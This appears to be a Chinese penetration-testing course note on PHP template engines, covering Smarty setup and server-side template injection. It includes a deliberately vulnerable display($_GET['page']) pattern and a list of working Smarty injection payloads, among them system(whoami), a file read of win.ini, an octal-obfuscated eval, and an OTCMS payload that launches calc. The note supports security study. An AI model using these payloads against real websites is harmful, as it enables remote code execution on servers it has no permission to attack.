PHP应用-组件框架&前端模版渲染&三方插件&富文本编辑器&CVE审计(2024小迪安全DAY30笔记)

文章目录

模板引擎

在开始介绍Smarty之前先了解一下模板引擎,模板引擎是为了让前端界(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是html文件里再也不用写php代码了。Smarty的原理是变量替换原则,我们只需在html文件写好Smarty的标签即可,例{name},然后调用Smarty的方法传递变量参数即可。

使用配置&方法

1、创建一个文件夹,命名为smarty-demo。

2、下载Smarty对应版本并解压缩到该文件夹中。

3、创建一个PHP文件,命名为demo.php,并在文件中添加以下代码:

php 复制代码
<?php
// 引入 Smarty 类文件
require('smarty-demo/libs/Smarty.class.php');
// 创建 Smarty 实例
$smarty = new Smarty;
// 设置 Smarty 相关属性
$smarty->template_dir = 'smarty-demo/templates/';
$smarty->compile_dir = 'smarty-demo/templates_c/';
$smarty->cache_dir = 'smarty-demo/cache/';
$smarty->config_dir = 'smarty-demo/configs/';
// 赋值变量到模板中
$smarty->assign('title', '欢迎使用 Smarty');
// 显示模板
$smarty->display('index.tpl');
?>

4、创建一个名为index.tpl的模板文件,并将以下代码复制到上述点定义文件夹中

html 复制代码
<!DOCTYPE html>
<html>
<head>
<title>{$title}</title>
</head>
<body>
<h1>{$title}</h1>
<p>这是一个使用 Smarty 的例子。</p>
</body>
</html>

渲染文件受控

漏洞利用:

php 复制代码
// 显示模板
$smarty->display('index.tpl');
//受控的渲染页面文件
$smarty->display($_GET['page']);

黑盒思路:

判断网站的url有没有这种写法x.php?page= /url= index.tpl index.html

白盒思路:

1、使用smarty模版引擎

2、版本存在已知的CVE漏洞

3、可控的渲染文件或变量

CVE参考:

https://xz.aliyun.com/t/11108

https://www.cnblogs.com/magic-zero/p/8351974.html

POC:

*/phpinfo();//

string:{include file='C:/Windows/win.ini'}

string:{function name='x(){};system(whoami);function '}{/function}

string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}

eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}

执行过程:

1、攻击者输入POC

POC 的目的就是把攻击者控制的字符串 构造成 Smarty 能当作"模板源(resource)"来编译 的形式(常用前缀是 string: / eval:),使引擎把该字符串写成 templates_c 下的 PHP 编译文件并在后续请求中执行它,从而把"用户输入"变成了"服务器端可执行代码"。

2、Smarty的渲染接口接收到string:.../eval:...等,会把参数当作模板源字符串 来处理,而不是简单的文件路径。

--- 关键:如果应用允许用户控制参数并且引擎会把其当作模板源读取,就把"用户输入"直接变成了可编译的模板内容。

3、编译成PHP文件

4、PHP 执行编译文件

案例一:代码审计CMS:(由第三方应用引用导致安全问题)

网钛(OTCMS):

这个平台更新到了最高版本,但也没有修复这个漏洞的原因是漏洞产生在后台,必须有后台权限才有可能触发这个漏洞。如果是这个模板加上可控变量而且不用任何权限就可以执行,那么就是高危

POC:

{otcms:$smarty.template_object->smarty->_getSmartyObj()->display('string:{otcms:system(calc)}')}

注意:POC格式一定要按照可识别的格式编写

执行结果:网站首页弹出计算器

插件组件(引用的第三方功能组件)

编辑器,邮箱,图片处理等(看DAY30笔记)

目的是知道网站的某些功能可能依赖第三方组件 ------ 如果识别出这些组件及其版本,就能去查对应版本是否存在已知漏洞(例如某个被引用的"编译器"组件本身有漏洞

使用:

https://www.cnblogs.com/qq350760546/p/6669112.html

参考:

https://www.cnblogs.com/linglinglingling/p/18040866

https://blog.csdn.net/weixin_58099903/article/details/125810825

白盒思路:看手册,学习这个组件的使用方法

黑盒思路:看特征、看功能、识别语言是不是PHP

案例二:编译器漏洞

-Kindeditor:https://www.cnblogs.com/TaoLeonis/p/14899198.html

相关推荐
速易达网络34 分钟前
Bootstrap 5 响应式网站首页模板
前端·bootstrap·html
etsuyou36 分钟前
js前端this指向规则
开发语言·前端·javascript
lichong95136 分钟前
Android studio 修改包名
android·java·前端·ide·android studio·大前端·大前端++
cai_huaer37 分钟前
BugKu Web渗透之 cookiesWEB
前端·web安全
从零开始的ops生活37 分钟前
【Day 80】Linux-NAS 和 SAN 存储
linux·运维·php
shizhenshide38 分钟前
为什么有时候 reCAPTCHA 通过率偏低,常见原因有哪些
开发语言·php·验证码·captcha·recaptcha·ezcaptcha
lichong95139 分钟前
Git 检出到HEAD 再修改提交commit 会消失解决方案
java·前端·git·python·github·大前端·大前端++
友友马1 小时前
『 QT 』QT控件属性全解析 (一)
开发语言·前端·qt
不想上班只想要钱2 小时前
vue3+vite创建的项目,运行后没有 Network地址
前端·javascript·vue.js
流***陌2 小时前
手办盲盒抽赏小程序前端功能设计:兼顾收藏需求与抽赏乐趣
前端·小程序